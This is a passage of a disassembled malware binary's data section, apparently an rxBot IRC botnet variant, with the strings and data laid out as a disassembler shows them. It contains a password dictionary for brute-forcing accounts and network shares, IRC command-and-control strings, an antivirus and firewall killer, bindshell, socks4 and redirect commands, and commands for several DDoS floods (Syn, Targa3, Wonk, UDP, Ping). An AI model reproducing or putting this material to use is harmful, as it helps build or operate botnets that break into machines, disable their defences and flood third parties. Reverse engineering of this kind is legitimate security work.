'ee',0 ; DATA XREF: .nsp0:0043C3FCo align 4 aEee db 'eee',0 ; DATA XREF: .nsp0:0043C400o aEeee db 'eeee',0 ; DATA XREF: .nsp0:0043C404o align 4 aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:0043C408o align 4 aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0043C40Co align 4 aG: ; DATA XREF: .nsp0:0043C410o unicode 0, <g>,0 aGg db 'gg',0 ; DATA XREF: .nsp0:0043C414o align 4 aGgg db 'ggg',0 ; DATA XREF: .nsp0:0043C418o aGggg db 'gggg',0 ; DATA XREF: .nsp0:0043C41Co align 4 aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:0043C420o align 10h aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0043C424o align 4 asc_441008: ; DATA XREF: .nsp0:0043C428o unicode 0, <h>,0 aHh db 'hh',0 ; DATA XREF: .nsp0:0043C42Co align 10h aHhh db 'hhh',0 ; DATA XREF: .nsp0:0043C430o aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0043C434o align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:0043C438o align 4 aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:0043C43Co align 4 aI_0: ; DATA XREF: .nsp0:0043C440o unicode 0, <i>,0 aIi db 'ii',0 ; DATA XREF: .nsp0:0043C444o align 4 aIii db 'iii',0 ; DATA XREF: .nsp0:0043C448o aIiii db 'iiii',0 ; DATA XREF: .nsp0:0043C44Co align 10h aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:0043C450o align 4 aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:0043C454o align 10h aJ_0: ; DATA XREF: .nsp0:0043C458o unicode 0, <j>,0 aJj db 'jj',0 ; DATA XREF: .nsp0:0043C45Co align 4 aJjj db 'jjj',0 ; DATA XREF: .nsp0:0043C460o aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0043C464o align 4 aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0043C468o align 4 aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0043C46Co align 4 aK_0: ; DATA XREF: .nsp0:0043C470o unicode 0, <k>,0 aKk db 'kk',0 ; DATA XREF: .nsp0:0043C474o align 4 aKkk db 'kkk',0 ; DATA XREF: .nsp0:0043C478o aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0043C47Co align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0043C480o align 10h aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0043C484o align 4 asc_441098: ; DATA XREF: .nsp0:0043C488o unicode 0, <l>,0 aLl db 'll',0 ; DATA XREF: .nsp0:0043C48Co align 10h aLll db 'lll',0 ; DATA XREF: .nsp0:0043C490o aLlll db 'llll',0 ; DATA XREF: .nsp0:0043C494o align 4 aLllll db 'lllll',0 ; DATA XREF: .nsp0:0043C498o align 4 aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0043C49Co align 4 aM_3: ; DATA XREF: .nsp0:0043C4A0o unicode 0, <m>,0 aMm db 'mm',0 ; DATA XREF: .nsp0:0043C4A4o align 4 aMmm db 'mmm',0 ; DATA XREF: .nsp0:0043C4A8o aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0043C4ACo align 10h aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0043C4B0o align 4 aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0043C4B4o align 10h aN_0: ; DATA XREF: .nsp0:0043C4B8o unicode 0, <n>,0 aNn db 'nn',0 ; DATA XREF: .nsp0:0043C4BCo align 4 aNnn db 'nnn',0 ; DATA XREF: .nsp0:0043C4C0o aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0043C4C4o align 4 aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0043C4C8o align 4 aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0043C4CCo align 4 aO_0: ; DATA XREF: .nsp0:0043C4D0o unicode 0, <o>,0 aOo db 'oo',0 ; DATA XREF: .nsp0:0043C4D4o align 4 aOoo db 'ooo',0 ; DATA XREF: .nsp0:0043C4D8o aOooo db 'oooo',0 ; DATA XREF: .nsp0:0043C4DCo align 4 aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0043C4E0o align 10h aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0043C4E4o align 4 aP_0: ; DATA XREF: .nsp0:0043C4E8o unicode 0, <p>,0 aPp db 'pp',0 ; DATA XREF: .nsp0:0043C4ECo align 10h aPpp db 'ppp',0 ; DATA XREF: .nsp0:0043C4F0o aPppp db 'pppp',0 ; DATA XREF: .nsp0:0043C4F4o align 4 aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0043C4F8o align 4 aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0043C4FCo align 4 aU_0: ; DATA XREF: .nsp0:0043C500o unicode 0, <u>,0 aUu db 'uu',0 ; DATA XREF: .nsp0:0043C504o align 4 aUuu db 'uuu',0 ; DATA XREF: .nsp0:0043C508o aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0043C50Co align 10h aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0043C510o align 4 aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0043C514o align 10h aS_26: ; DATA XREF: .nsp0:0043C518o unicode 0, <s>,0 aSs db 'ss',0 ; DATA XREF: .nsp0:0043C51Co align 4 aSss db 'sss',0 ; DATA XREF: .nsp0:0043C520o aSsss db 'ssss',0 ; DATA XREF: .nsp0:0043C524o align 4 aSssss db 'sssss',0 ; DATA XREF: .nsp0:0043C528o align 4 aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0043C52Co align 4 aT_0: ; DATA XREF: .nsp0:0043C530o unicode 0, <t>,0 aTt db 'tt',0 ; DATA XREF: .nsp0:0043C534o align 4 aTtt db 'ttt',0 ; DATA XREF: .nsp0:0043C538o aTttt db 'tttt',0 ; DATA XREF: .nsp0:0043C53Co align 4 aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0043C540o align 10h aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0043C544o align 4 aY: ; DATA XREF: .nsp0:0043C548o unicode 0, <y>,0 aYy db 'yy',0 ; DATA XREF: .nsp0:0043C54Co align 10h aYyy db 'yyy',0 ; DATA XREF: .nsp0:0043C550o aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0043C554o align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0043C558o align 4 aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0043C55Co align 4 aV: ; DATA XREF: .nsp0:0043C560o unicode 0, <v>,0 aVv db 'vv',0 ; DATA XREF: .nsp0:0043C564o align 4 aVvv_0 db 'vvv',0 ; DATA XREF: .nsp0:0043C568o aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0043C56Co align 10h aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0043C570o align 4 aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0043C574o align 10h aW: ; DATA XREF: .nsp0:0043C578o unicode 0, <w>,0 aWw db 'ww',0 ; DATA XREF: .nsp0:0043C57Co align 4 aWww db 'www',0 ; DATA XREF: .nsp0:0043C580o aWwww db 'wwww',0 ; DATA XREF: .nsp0:0043C584o align 4 aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0043C588o align 4 aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0043C58Co align 4 aQ_0: ; DATA XREF: .nsp0:0043C590o unicode 0, <q>,0 aQq db 'qq',0 ; DATA XREF: .nsp0:0043C594o align 4 aQqq db 'qqq',0 ; DATA XREF: .nsp0:0043C598o aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0043C59Co align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0043C5A0o align 10h aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0043C5A4o align 4 aZ_0: ; DATA XREF: .nsp0:0043C5A8o unicode 0, <z>,0 aZz db 'zz',0 ; DATA XREF: .nsp0:0043C5ACo align 10h aZzz db 'zzz',0 ; DATA XREF: .nsp0:0043C5B0o aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0043C5B4o align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0043C5B8o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0043C5BCo align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0043C5C0o align 4 aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0043C5C4o align 4 aAass db 'aass',0 ; DATA XREF: .nsp0:0043C5C8o align 4 aQqww db 'qqww',0 ; DATA XREF: .nsp0:0043C5CCo align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0043C5D0o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0043C5D4o align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0043C5D8o align 10h aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0043C5DCo align 4 aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0043C5E0o align 10h aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0043C5E4o align 4 a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0043C5E8o align 10h a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0043C5ECo align 4 a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0043C5F0o align 10h a3edc db '3edc',0 ; DATA XREF: .nsp0:0043C5F4o align 4 a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0043C5F8o align 10h a112233 db '112233',0 ; DATA XREF: .nsp0:0043C5FCo align 4 aMnb db 'mnb',0 ; DATA XREF: .nsp0:0043C600o aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0043C604o align 4 a2486 db '2486',0 ; DATA XREF: .nsp0:0043C608o align 4 a2684 db '2684',0 ; DATA XREF: .nsp0:0043C60Co align 4 a13579 db '13579',0 ; DATA XREF: .nsp0:0043C610o align 4 a753159 db '753159',0 ; DATA XREF: .nsp0:0043C614o align 4 a159357 db '159357',0 ; DATA XREF: .nsp0:0043C618o align 4 a951753 db '951753',0 ; DATA XREF: .nsp0:0043C61Co align 4 a753951 db '753951',0 ; DATA XREF: .nsp0:0043C620o align 4 a142536 db '142536',0 ; DATA XREF: .nsp0:0043C624o align 4 aSystem_0 db 'system',0 ; DATA XREF: .nsp0:0043C628o align 4 aAdministrato_5 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0043C62Co align 4 aAdministrato_6 db 'Administrator',0 ; DATA XREF: .nsp0:0043C630o align 4 aAdministrato_7 db 'administrator',0 ; DATA XREF: .nsp0:0043C634o align 4 aFubar_0 db 'fubar',0 ; DATA XREF: .nsp0:0043C638o align 4 aBla_0 db 'bla',0 ; DATA XREF: .nsp0:0043C63Co aGuest_2 db 'GUEST',0 ; DATA XREF: .nsp0:0043C640o align 10h aRoot_3 db 'ROOT',0 ; DATA XREF: .nsp0:0043C644o align 4 aRoot_4 db 'root',0 ; DATA XREF: .nsp0:0043C648o align 10h aAdmin_1 db 'ADMIN',0 ; DATA XREF: .nsp0:0043C64Co align 4 aPassword_1 db 'PASSWORD',0 ; DATA XREF: .nsp0:0043C650o align 4 aTemp_0 db 'TEMP',0 ; DATA XREF: .nsp0:0043C654o align 4 aShare_1 db 'SHARE',0 ; DATA XREF: .nsp0:0043C658o align 4 aWrite_0 db 'WRITE',0 ; DATA XREF: .nsp0:0043C65Co align 4 aFull_1 db 'FULL',0 ; DATA XREF: .nsp0:0043C660o align 4 aLadeda_0 db 'ladeda',0 ; DATA XREF: .nsp0:0043C664o align 4 aBoth_0 db 'BOTH',0 ; DATA XREF: .nsp0:0043C668o align 4 aRead_0 db 'READ',0 ; DATA XREF: .nsp0:0043C66Co align 4 aFiles_0 db 'FILES',0 ; DATA XREF: .nsp0:0043C670o align 4 aDemo_0 db 'DEMO',0 ; DATA XREF: .nsp0:0043C674o align 4 aOwner_2 db 'OWNER',0 ; DATA XREF: .nsp0:0043C678o align 4 aOwner_3 db 'Owner',0 ; DATA XREF: .nsp0:0043C67Co align 4 aEdu_0 db 'edu',0 ; DATA XREF: .nsp0:0043C680o aTest_0 db 'TEST',0 ; DATA XREF: .nsp0:0043C684o align 4 aAccess_0 db 'ACCESS',0 ; DATA XREF: .nsp0:0043C688o align 10h aUser_5 db 'USER',0 ; DATA XREF: .nsp0:0043C68Co align 4 aBackup_0 db 'BACKUP',0 ; DATA XREF: .nsp0:0043C690o align 10h aSystem_3 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043C694o align 4 aServer_7 db 'SERVER',0 ; DATA XREF: .nsp0:0043C698o align 10h aSS_7 db '%s%s',0 ; DATA XREF: sub_40141B+10Ao align 4 aSS_8 db '%s\%s',0 ; DATA XREF: sub_40141B+186o align 10h aSDS_0 db '%s %d "%s"',0 ; DATA XREF: sub_40141B+28Co align 4 dword_44145C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_40141B+361o dd 2E646574h, 0 unk_441478 db 2Dh ; - ; DATA XREF: sub_40141B+39Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 unk_44149C db 2Dh ; - ; DATA XREF: sub_40141B+3EDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 dword_4414DC dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40141B+41Ao aServerRunningO db '- Server running on Port: 113.',0 align 4 dword_441508 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40141B+465o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 unk_44153C db 2Dh ; - ; DATA XREF: sub_4019E1+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B49+35o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B49+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_441584 db ' :',0 ; DATA XREF: sub_401CC1+86o align 4 asc_441588: ; DATA XREF: sub_401CC1+AEo unicode 0, < >,0 asc_44158C: ; DATA XREF: sub_401CC1:loc_401D8Co unicode 0, < >,0 asc_441590: ; DATA XREF: sub_401CC1+191o unicode 0, <!>,0 aPing db 'PING',0 ; DATA XREF: sub_401CC1+1A0o align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+1BAo align 4 aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+1DBo align 4 a001 db '001',0 ; DATA XREF: sub_401CC1+1F7o a005 db '005',0 ; DATA XREF: sub_401CC1+20Co aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+716Fo align 10h aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7184o align 10h aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7197o align 10h a302 db '302',0 ; DATA XREF: sub_401CC1+221o a@_5: ; DATA XREF: sub_401CC1+231o unicode 0, <@>,0 a433_0 db '433',0 ; DATA XREF: sub_401CC1+25Co aNickS_9 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+284o align 4 aKick db 'KICK',0 ; DATA XREF: sub_401CC1+2DBo align 10h unk_441610 db 2Dh ; - ; DATA XREF: sub_401CC1+34Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+365o aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+3ABo align 10h aNick db 'NICK',0 ; DATA XREF: sub_401CC1+3C4o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401CC1+4F2o align 10h aPart db 'PART',0 ; DATA XREF: sub_401CC1+51Ao align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_401CC1+52Bo align 10h unk_441670 db 2Dh ; - ; DATA XREF: sub_401CC1+5C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_401CC1+5DEo align 4 aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+602o a353 db '353',0 ; DATA XREF: sub_401CC1+569o unk_4416B0 db 2Dh ; - ; DATA XREF: sub_401CC1+59Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401CC1+60Do aNotice db 'NOTICE',0 ; DATA XREF: sub_401CC1+61Eo align 10h a332 db '332',0 ; DATA XREF: sub_401CC1+62Fo aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401CC1+650o aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401CC1+665o align 4 aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401CC1+75Ao align 4 asc_4416FC: ; DATA XREF: sub_401CC1+77Fo unicode 0, <#>,0 dword_441700 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401CC1+807o dword_44170C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401CC1+832o dd 0D017325h, 0Ah dword_441728 dd 4E495001h, 47h ; DATA XREF: sub_401CC1+83Do dword_441730 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401CC1+86Eo dd 0A0Dh aLogin db 'login',0 ; DATA XREF: sub_401CC1+6C2o align 10h aHi db 'hi',0 ; DATA XREF: sub_401CC1+6D7o align 4 asc_441754: ; DATA XREF: sub_401CC1+7006o unicode 0, <!>,0 asc_441758: ; DATA XREF: sub_401CC1+7024o unicode 0, <~>,0 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7054o align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+7068o align 10h unk_4417B0 db 2Dh ; - ; DATA XREF: sub_401CC1+7077o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+70C4o align 4 aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+70D8o align 10h unk_441830 db 2Dh ; - ; DATA XREF: sub_401CC1+70E7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 unk_44185C db 2Dh ; - ; DATA XREF: sub_401CC1+7145o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_44187C db 2Dh ; - ; DATA XREF: sub_401CC1+7162o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 a332_3 db '332',0 ; DATA XREF: sub_401CC1+6F9o asc_4418A0 db ' :',0 ; DATA XREF: sub_401CC1:loc_402539o align 4 aD_0 db '$%d-',0 ; DATA XREF: sub_401CC1+8D9o align 4 aD_1 db '$%d',0 ; DATA XREF: sub_401CC1+99Do aMe db '$me',0 ; DATA XREF: sub_401CC1+A0Bo aUser_6 db '$user',0 ; DATA XREF: sub_401CC1+A1Do align 4 aChan db '$chan',0 ; DATA XREF: sub_401CC1+A2Eo align 4 aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401CC1+A4Ao align 10h aServer_8 db '$server',0 ; DATA XREF: sub_401CC1+A5Bo aChr db '$chr(',0 ; DATA XREF: sub_401CC1+A66o align 10h aChr_0 db '$chr(',0 ; DATA XREF: sub_401CC1+A7Fo align 4 asc_4418E8: ; DATA XREF: sub_401CC1+AA7o unicode 0, <)>,0 a63 db '63',0 ; DATA XREF: sub_401CC1+ACFo align 10h asc_4418F0: ; DATA XREF: sub_401CC1+BA7o unicode 0, < >,0 asc_4418F4: ; DATA XREF: sub_401CC1:loc_402889o unicode 0, < >,0 aRndnick db 'rndnick',0 ; DATA XREF: sub_401CC1+C02o aRn db 'rn',0 ; DATA XREF: sub_401CC1+C1Ao align 4 aNickS_7 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6FBFo align 10h unk_441910 db 2Dh ; - ; DATA XREF: sub_401CC1+6FD3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 aDie db 'die',0 ; DATA XREF: sub_401CC1+C2Fo aD_2: ; DATA XREF: sub_401CC1+C44o unicode 0, <d>,0 a332_4 db '332',0 ; DATA XREF: sub_401CC1+297Do aLogout db 'logout',0 ; DATA XREF: sub_401CC1+C59o align 4 aLo db 'lo',0 ; DATA XREF: sub_401CC1+C6Eo align 4 unk_44194C db 2Dh ; - ; DATA XREF: sub_401CC1+290Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_44196C db 2Dh ; - ; DATA XREF: sub_401CC1+2920o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_441998 db 2Dh ; - ; DATA XREF: sub_401CC1+292Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_4419C4 db 2Dh ; - ; DATA XREF: sub_401CC1+296Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 aDedication db 'dedication',0 ; DATA XREF: sub_401CC1+C83o align 10h aDed db 'ded',0 ; DATA XREF: sub_401CC1+C98o unk_4419F4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40458Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401CC1+CADo align 10h aSt db 'st',0 ; DATA XREF: sub_401CC1+CC2o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401CC1+CD7o align 10h aBd db 'bd',0 ; DATA XREF: sub_401CC1+CECo align 4 unk_441AC4 db 2Dh ; - ; DATA XREF: sub_401CC1+2824o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h unk_441AF0 db 2Dh ; - ; DATA XREF: sub_401CC1+28A8o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_0 db ' Failed to start server thread, error: <%d>.',0 align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401CC1+D01o align 10h aServer_0 db 'Server',0 ; DATA XREF: sub_401CC1+D1Ao align 4 dword_441B48 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401CC1+D1Fo aSocks4 db 'socks4',0 ; DATA XREF: sub_401CC1+D41o align 4 aS4 db 's4',0 ; DATA XREF: sub_401CC1+D56o align 4 dword_441B68 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC1+2733o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_441B90 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC1+27A2o aFailedToStar_1 db '- Failed to start server thread, error: <%d>.',0 align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401CC1+D6Bo align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_401CC1+D84o align 10h dword_441BE0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401CC1+D89o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401CC1+D91o align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_401CC1+DAAo align 4 dword_441C04 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401CC1+DAFo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401CC1+DBAo align 10h aServer_3 db 'Server',0 ; DATA XREF: sub_401CC1+DD3o align 4 dword_441C28 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401CC1+DD8o aLogstop db 'logstop',0 ; DATA XREF: sub_401CC1+DE3o aLogList db 'Log list',0 ; DATA XREF: sub_401CC1+DFCo align 4 dword_441C4C dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC1+E01o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401CC1+E0Co align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401CC1+E25o align 4 dword_441C78 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401CC1+E2Ao dword_441C88 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401CC1+E35o dword_441C94 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+E4Eo dword_441CA0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC1+E53o aSynstop db 'synstop',0 ; DATA XREF: sub_401CC1+E5Eo aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401CC1+E77o align 10h dword_441CC0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+E7Co aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401CC1+E87o align 4 aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401CC1+EA0o align 4 dword_441CE8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC1+EA5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401CC1+EB0o align 4 aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401CC1+EC9o align 4 dword_441D14 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC1+ECEo aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401CC1+ED9o align 10h aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401CC1+EF2o align 4 dword_441D3C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC1+EF7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401CC1+F02o align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401CC1+F26o align 10h dword_441D60 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC1+F2Bo dword_441D6C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F41o dword_441D78 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+F46o dword_441D84 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F5Fo dword_441D90 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+F64o dword_441D9C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+F7Ao dword_441DA8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC1+F7Fo dword_441DB4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401CC1+F98o dword_441DC4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC1+F9Do dword_441DD4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+FB3o dword_441DE0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC1+FB8o dword_441DEC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+FD1o dword_441DFC dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC1+FD6o dword_441E0C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401CC1+FECo dword_441E1C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC1+FF1o dword_441E2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401CC1+100Ao dword_441E3C dd 